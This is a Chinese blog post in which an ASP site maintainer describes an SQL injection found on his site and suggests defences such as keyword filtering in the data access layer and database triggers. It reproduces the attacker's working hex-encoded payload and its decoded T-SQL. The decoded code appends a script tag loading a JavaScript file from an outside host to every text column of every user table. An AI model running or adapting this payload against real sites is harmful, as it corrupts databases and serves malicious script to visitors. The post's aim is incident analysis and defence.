ASP 二进制SQL注入程序思索

本文介绍了一种复杂的SQL注入攻击手段,攻击者将SQL语句编译成二进制执行,增加了防御难度。文章探讨了此类攻击的特点,并提出了通过数据访问类过滤及数据库触发器等方法进行有效防护。

最近维护一个ASP网站,发现其被SQL注入,和往常的SQL注入不同的是他居然吧SQL语句编译成了二进制,然后再执行SQL写一个存储过程,然后再执行,最后删除存储过程,让你无际可循。说实话,我很佩服现在的黑客,如果可以我也想学学,这是怎么写出来的。。呵呵 下面是他执行的SQL的源码

dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s)

经过编译 其实就是这个样子

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<mce:script src="http://cn.jxmmtv.com/cn.js" mce_src="http://cn.jxmmtv.com/cn.js"></mce:script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

是不是 看得你脑壳大 。。。没办法 其实我的脑壳也很大 这些代码的出处为 http://blog.youkuaiyun.com/tkjune/archive/2009/01/03/3687728.aspx

加上以前的那些东东,其实也让我恍然一下想起了很多。原来原理都是一样啊,通过那些不注意对自己的ID那些进行加密的网站的URL 例如 Class.asp?id=1 这些进行加后缀然后SQL注入攻击。那我们如何防御呢。

思想很简单,其实就是过滤这些增 删 改 差字段。在你的数据访问类里面进行过滤。针对一些汇编语言的SQL注入,我建议大家还是对输入的SQL进行二进制的转码 然后再对比。然后过滤。如果考虑安全性考虑,我觉得还是应该在数据库里面写触发器 通过触发器进行SQL语句的过滤

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值